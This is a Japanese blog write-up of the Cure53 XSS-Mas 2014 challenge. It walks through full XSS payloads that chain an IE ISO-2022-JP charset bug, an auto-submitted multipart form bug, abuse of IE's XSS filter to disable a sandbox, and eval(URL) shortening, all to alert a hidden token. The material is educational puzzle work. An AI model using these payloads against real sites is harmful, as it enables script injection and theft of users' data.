2015/02/12

Cure53 XSSMas Challenge '14 Writeup

12月と言えばXSS-Masの季節ということで、最近は、XSS-Mas前から1月の終わりまで開催されていた、賞金付きXSSチャレンジ「Cure53 XSS-Mas Challenge 2014」に挑戦していました。

Cure53 XSS-Mas Challenge 2014
https://cure53.de/xmas2014/

出題者による想定解と全回答者の答え
https://github.com/cure53/xss-challenge-wiki/wiki/XSSMas-Challenge-2014

XSSチャレンジというのは、出題者がわざとわかりにくい形でXSSに脆弱にしたページ(例:特定の記号や文字が使えない、文字数制限がある等)で、指定した条件(alert関数 で「1」の文字をだすとか)をクリアして、スクリプトが実行できることを証明するという、XSSを嗜む人たちの間で楽しまれる一種のパズルゲームです。
実際にXSSで攻撃可能なことを証明しないといけない場面でも、特定の制約がかかることは多く、こういったチャレンジは単なるパズル遊びというだけでなく、攻撃の発想を養ううえでとても有益なものです。

興味があれば、yamagata21さん作の以下のチャレンジあたりからはじめるのがおすすめです。

XSS Challenges (by yamagata21)

このチャレンジは難易度設定が適切で、基本的なXSSから少し変わったものまでカバーしていて、これからXSSの攻撃手法を学んでみたいという人には、とてもいい教材だと思います。はじめて触れた人には、こんな手法もあるのか、という驚きがあるのではないでしょうか。

さて、今回のXSSチャレンジは、XSS方面で著名なMario Heiderichさんのペネトレーションテスト会社、「Cure53」が開催したものでした。

賞金付きというだけあって、非常に難易度が高く、挑戦者も気合いが入っていて、非常にエキサイティングなゲームでした。今年の優勝者はこちらでみられます。日本人と思われる名前ですね…。
ちなみに、昨年も賞金付きで開催されていて、ここで昨年の優勝者を見ることができます。日本人と思われる名前ですね…。

今回のチャレンジはとりわけマニアックなテクニックが必要で、非常に面白かったので、どのように答えに辿りついたかを記事にすることにしました。

まず、僕の最後に提出した答えはこれです。IE11で動作します。(※現在はページ構造が微妙に変わっているので、all[69] の部分を all[71] にしないと動きません。)
https://cure53.de/xmas2014/?<form id=f enctype=multipart/form-data method=post>PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg<textarea name='file";filename="#$B(Bsvg onload=eval(URL) '
outerHTML=name=URL,f.submit(f.action=all[69]+"?charset=iso-2022-jp&<script>\u2028location=name+',alert('+/'\\w+'/.exec(all[6].text)+')'")
制御文字が含まれていてうまくコピーできないかもしれないので以下のリダイレクト先にあるテキストエリアからコピーしてIEのアドレスバーにはりつけるとうまくいくかと思います。(実際に試すときは all[69] を all[71] にしてください。)
http://tinyurl.com/kzlqr33


制限を回避するために一部の文字を使わないようにしたり、XSSフィルターをあえて作動させようとしたり、ブラウザのバグを使ったりしたあと、さらに文字を短縮するために手を加えているので、何をやっているのか意味が分からないと思います。

でも、1つ1つのテクニックを小分けにしてみていけばそんなに難しいことはやっていないです。
それでは書いていきます!

https://cure53.de/xmas2014/

ルールは、「指定された2ページだけを使って隠されたトークンをユーザ操作なしにアラートせよ!短い文字数で達成できた人が勝ち!」といったところです。
まず、どこに文字を入れたらいいかを探すところからクイズになっています。
This page has a vulnerable parameter you may use. Use it wisely.
「it」を使えと言っているので正直に使うと、

https://cure53.de/xmas2014/?it=">abc
<li><b>The challenge ends on 31st of January 2015</b></li>
i�</ul>
ページの下の方に変な文字がでてきました。
何だか入力値が加工されて出力されているっぽいです。Base64に変換しようとしていると仮定してBase64エンコードした文字を入れてみます。

https://cure53.de/xmas2014/?it=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
<li><b>The challenge ends on 31st of January 2015</b></li>
<script>alert(1)</script></ul>
Base64だったようです。今回はアラートを出して終わりではなく、別のページにあるtokenをアラートせよというルールなので、別のページを見に行きます。


アクセスすると、以下の、
<script>
    history.pushState('', '', '/token-dispenser-5861d39/');
    // you cannot access the secret token quite yet
</script>
history.pushState()でURLが即座に変なものに置き換わります。
これはひとまずスルーします。ソースの他の部分をみましょう。
<span style="display:none">{{post.charset}}</span>
パラメータのヒント?
レスポンスヘッダをみると、
Content-Type: text/html; charset=charset

"charset"という名前の文字列がcharsetに指定されています。
そんなcharsetは存在しないのでこの指定は適切ではないです。この2点から「charset」というパラメータがありそうなので、つけてみます。

https://heideri.ch/alpudo?charset=utf-8

アクセスしてレスポンスヘッダをみると、
Content-Type: text/html; charset=UТF-8
おお、UTF-8が入りました。いや、でもよくみると何かがおかしいです。アルファベットのティーにみえる「Т」は  U+0422 です。これじゃcharset指定はきいていません。いろいろ入れて試すと、「UTF」「CP」「IBM」という文字があった場合、一部が偽アルファベットに置換されるようになっていました。「UTF-16」とか「UTF-7」とか、ページを簡単に破壊しそうなエンコーディングは使えないようにしている意図を感じます。

charset指定ができるということは、charset固有の符号化規則を使って解決してほしい部分がどこかにあるはずです。charsetはいじれることは覚えておいて、他を見ます。

ページ内の大量の改行の後に以下の文字列を発見できます。
<!--because nobody likes guessing games... the name is дaтотека    -->

「дaтотека」ってなんでしょうか。

https://translate.google.com/#auto/ja/%D0%B4a%D1%82%D0%BE%D1%82%D0%B5%D0%BA%D0%B0

うまく訳せません。でもこれ、よくみると2番目の「a」と最後の「а」が違う文字です。2番目のただのアルファベットのエー(0x61)を最後の「а」と同じ文字に変えて翻訳にかけてみると、

https://translate.google.com/#auto/ja/%D0%B4%D0%B0%D1%82%D0%BE%D1%82%D0%B5%D0%BA%D0%B0

「ファイル」ってでました!このページのURLは「https://heideri.ch/alpudo」です。これは多分uploadのアナグラムです。
ファイルをアップロードできるんでしょうか。

https://heideri.ch/alpudo に対して適当にフォームを作って空のテキストファイル(A.txt)をとばしてみます。
<form action=https://heideri.ch/alpudo enctype=multipart/form-data method=post>
<input type=file name=file>
<input type=submit value=upload>
</form>
すると、レスポンスがかわります。

<script>
    history.pushState('', '', '/token-dispenser-cdc1d9/');
    window['tοken'] = '545ae4f986fe9647535ffb6a5ef330c82add451d';
        // This sandbox is UNBREAKABLE! REally!
    (function(Object) {
        function recursiveFreeze(target) {
            var proto = target.__proto__;
            for (var name in target) {
                freeze(target, name);
            }
            var list = Object.getOwnPropertyNames(target);
            for (var i = 0; i < list.length; i++) {
                name = list[i];
                freeze(target, name);
            }
            proto && recursiveFreeze(proto);
         
            function freeze(target, name) {
                var whitelist = '__defineGetter__';
                if (!~whitelist.indexOf(name))try {
                    target.__defineGetter__(name, function() {});
                    Object.defineProperty(target, name, {configurable: false, value: '#'});
                } catch (e) {}
            }
        }
     
        recursiveFreeze(document); // freeze every property on document object
        recursiveFreeze(window); // freeze every property on window object
    })(Object);
    </script>
</head>
<body>
Thanks for the <i>errrm</i> fish!!
<br>
<a href="#" title="A">{{$name}}</a>
<br />
<span title="txt">{{$type}}</span>
<br />

おっ、こっちが指定したファイル名と拡張子(赤字部分)がtitle属性に入ってますね!ここからXSS文字列を挿入するんでしょうか。
また今回アラートせよといっているtoken文字列(青字部分)もでてきました。
そのあとごちゃごちゃjsが書かれてますが、これは自前のサンドボックス処理で、alertなどを簡単に呼び出せないようにしているようです。(試しにコンソールを開いてalertを呼び出そうとしてみるとわかります。)

まずやるのは、普通にファイル名に「"<>」とかを含んだ文字列を投げることですが、やっぱりこれはちゃんと置換されます。先ほど発見した、文字コードの変更と組み合わせてなんとかしてほしそうです。

「"<>」を「0x22」「0x3C」「0x3E」以外のバイト値で表現できる文字コードがあるなら何とかなりそうな気がします。そんな文字コードあるんでしょうか?あるんですよ!
以下に僕が以前調査したASCIIと全く互換性のない文字コードのリストがあります。

http://l0.cm/encodings/test7/

この中で「UTF」「CP」「IBM」という禁止された文字列が含まれていないのは「x-ebcdic-koreanextended」とかですね。IEでアクセスしてみると、ページがめちゃくちゃになります。

https://heideri.ch/alpudo?charset=x-ebcdic-koreanextended

これを使ってもできそうな気もしますが、「x-ebcdic-koreanextended」とか長いし、token部分が別の文字でつぶれてしまうのでtokenが取り出しにくいかんじです。実はIEにはまだ特別な方法があります。
以下はこれまた僕が以前調査した、イレギュラーなバイト列で「"<>」などが表現できるリストです。

http://l0.cm/encodings/test1/

ISO-2022-JPをみてください。「"<>」が変なバイト列で出現します。これは文字コードの仕様としてそうなっているのではなくて、単なるIE側のむちゃくちゃなバグです。今回は、これを使ってやってみます。

ところで、ファイルアップロード相当のリクエストはユーザがファイルを選択するというユーザ操作が絶対に必要でしょうか?今回、ユーザインタラクションなしにしろ( ページを開いてから攻撃までユーザによるクリックやマウス移動などの操作を介在せずにやれということ )という指示があるので、いくらここに文字列を挿入できても、ユーザ操作なしにできないと意味がありません。

実はファイルアップロード相当のリクエストはユーザ操作なしに送信できます。
いくつか方法はありますが、今回はIEのmultipart/form-dataのフォームのバグを使います。

このバグに関しては徳丸さんによる丁寧な解説記事がありますので、そちらを参照してください。

IE9以降でもHTMLフォームでファイル名とファイルの中身を外部から指定できる | 徳丸浩の日記
http://blog.tokumaru.org/2014/01/ie9html.html

また、その他の方法は他の回答者の解をみてください!

さあ、このISO-2022-JPのバグとフォームのバグを使って最初のページからリクエストを投げ、tokenのあるページでスクリプトを実行することろまでやってみましょう。

<form action="//heideri.ch/alpudo?charset=iso-2022-jp" enctype="multipart/form-data" method="post">
<textarea name='file";filename="$B(Bsvg onload=alert(1) '></textarea>
</form>
<script>document.forms[0].submit()</script>

これをBase64化してIE11でアクセスしてみると…

https://cure53.de/xmas2014/?it=PGZvcm0gYWN0aW9uPSIvL2hlaWRlcmkuY2gvYWxwdWRvP2NoYXJzZXQ9aXNvLTIwMjItanAiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI%2BPHRleHRhcmVhIG5hbWU9J2ZpbGUiO2ZpbGVuYW1lPSIbJEIbAQMBHwEdGyhCc3ZnIG9ubG9hZD1hbGVydCgxKSAnPjwvdGV4dGFyZWE%2BPC9mb3JtPjxzY3JpcHQ%2BZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk8L3NjcmlwdD4=

あれ!アラート出ません!これは例の自前のサンドボックス処理があるからです。あの部分が邪魔なので、XSSフィルターにぶち壊してもらいましょう!こういうときに便利だなXSSフィルター!

<form action="//heideri.ch/alpudo?charset=iso-2022-jp&<script>" enctype="multipart/form-data" method="post">
<textarea name='file";filename="$B(Bonload=alert(1) '></textarea>
</form>
<script>document.forms[0].submit()</script>

URLに"<script>"という文字を入れて、XSSフィルターを反応させ、scriptタグ内のサンドボックス化の処理を走らなくさせます。

https://cure53.de/xmas2014/?it=PGZvcm0gYWN0aW9uPSIvL2hlaWRlcmkuY2gvYWxwdWRvP2NoYXJzZXQ9aXNvLTIwMjItanAmPHNjcmlwdD4iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI%2BPHRleHRhcmVhIG5hbWU9J2ZpbGUiO2ZpbGVuYW1lPSIbJEIbAQMBHwEdGyhCc3ZnIG9ubG9hZD1hbGVydCgxKSAnPjwvdGV4dGFyZWE%2BPC9mb3JtPjxzY3JpcHQ%2BZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk8L3NjcmlwdD4=

やったあ!今度はアラートでましたね!あとは、token部分の文字列を正規表現で切り出してアラートすればミッション達成というわけです!
お疲れ様です!ここまで理解できれば問題はクリアできています。これ以上先は文字を短くする作業になります。

ここからがこのチャレンジの勝負どころではあるのですが、1つ1つ過程をなぞっていくと膨大な解説になってしまうので断念しました。これ以上興味がある人は直前で示した僕の回答を短くしようとしてみてください。そうすれば自然と僕の回答に近づくはずで、なぜそうしたかの理由がわかってくると思います。どうしてもよくわからない部分があれば、個別にきいてもらえれば答えます。また、こうすればもっと短くなる、みたいなのに気付かれた方はぜひ教えてください!

最後に1つだけ、今回も使った、XSSerならおさえておきたい短縮テクニックを紹介して終わりたいと思います。

今回は挿入コードがBase64化されることで、文字数が大幅に増えてしまいます。そこで、全部のコードをBase64の部分に含めるのではなく、evalを実行するコードだけBase64部分に書いておいて、直接URLに書いたJavaScript文字列を走らせるようにします。
このテクニックはGareth Heysさんにより2012年に紹介されています。
詳細はGarethさんのブログを参照してください。

Eval a url
http://www.thespanner.co.uk/2012/05/08/eval-a-url/

このテクニックを使って、以下のようにすれば今回もアラートをだせます。

https://cure53.de/xmas2014/?it=PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg#
alert(1)


出力される部分に文字数制限があるときなどに使えるので、覚えておくといいと思います!


余談として、僕はcure53.deが攻撃者のサイトで、heideri.chがターゲットのサイトと想定して、cure53.de上でtokenをアラートすることがtokenを奪ったことになるとルールを勝手に解釈していました。他の回答者がheideri.chのコンテキストでアラートを出しているのに対し、僕の提出した解はいちいちcure53.deに戻ってからアラートを出しているのはそういうわけです。このtokenを引き渡す部分には特に時間を費やして小さくして、凄くエレガントな解になったと思ったんですが、ルールをよく読めばこんなにここに力を注ぐ必要はなかったのでした…。まあ、ルールにはどこでアラートするかの指示はないのでこれでもいいわけですが、戻るのは明らかに無駄なステップで、このことに気づけばもっと簡単に他の回答者より短い解を示すことができていたので、終わってから気付いて大分ショックでした。

heideri.chでアラートするようにすれば、今回のカウント方法だと265バイト(提出した僕の記録は292なのでマイナス27バイト!)まで短くできます。

https://cure53.de/xmas2014/?<form id=f enctype=multipart/form-data method=post>PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg<textarea name='file";filename="#$B(Bsvg onload=eval(URL) '
outerHTML=URL,f.submit(f.action=all[71]+"?charset=iso-2022-jp&<script>\u2028alert(all[6].text.split(/'/)[9])")

制御文字が含まれていてうまくコピーできないかもしれないので以下のリダイレクト先にあるテキストエリアからコピーしてIEのアドレスバーにはりつけるとうまくいくかと思います。
http://tinyurl.com/lwrj5rj

結果的には、追い抜かれたりしたおかげで、さらに短くする方法を思いついたりして、簡単に1位になるよりは短縮法を追究できたのでよかったです。
大変勉強になりました。参加者の皆さん、ありがとうございました!(日本語で書いてもしょうがないかんじだけど!)


今回紹介したテクニックをまとめます。

・IEのISO-2022-JPの文字コードのバグ
・IEのmultipart/form-dataのフォームのバグ
・XSSフィルターを攻撃に利用するアイデア
・eval(URL)などの短縮テクニック


明日から使えますね!!
来年ももし開催されるならまた挑戦したいです!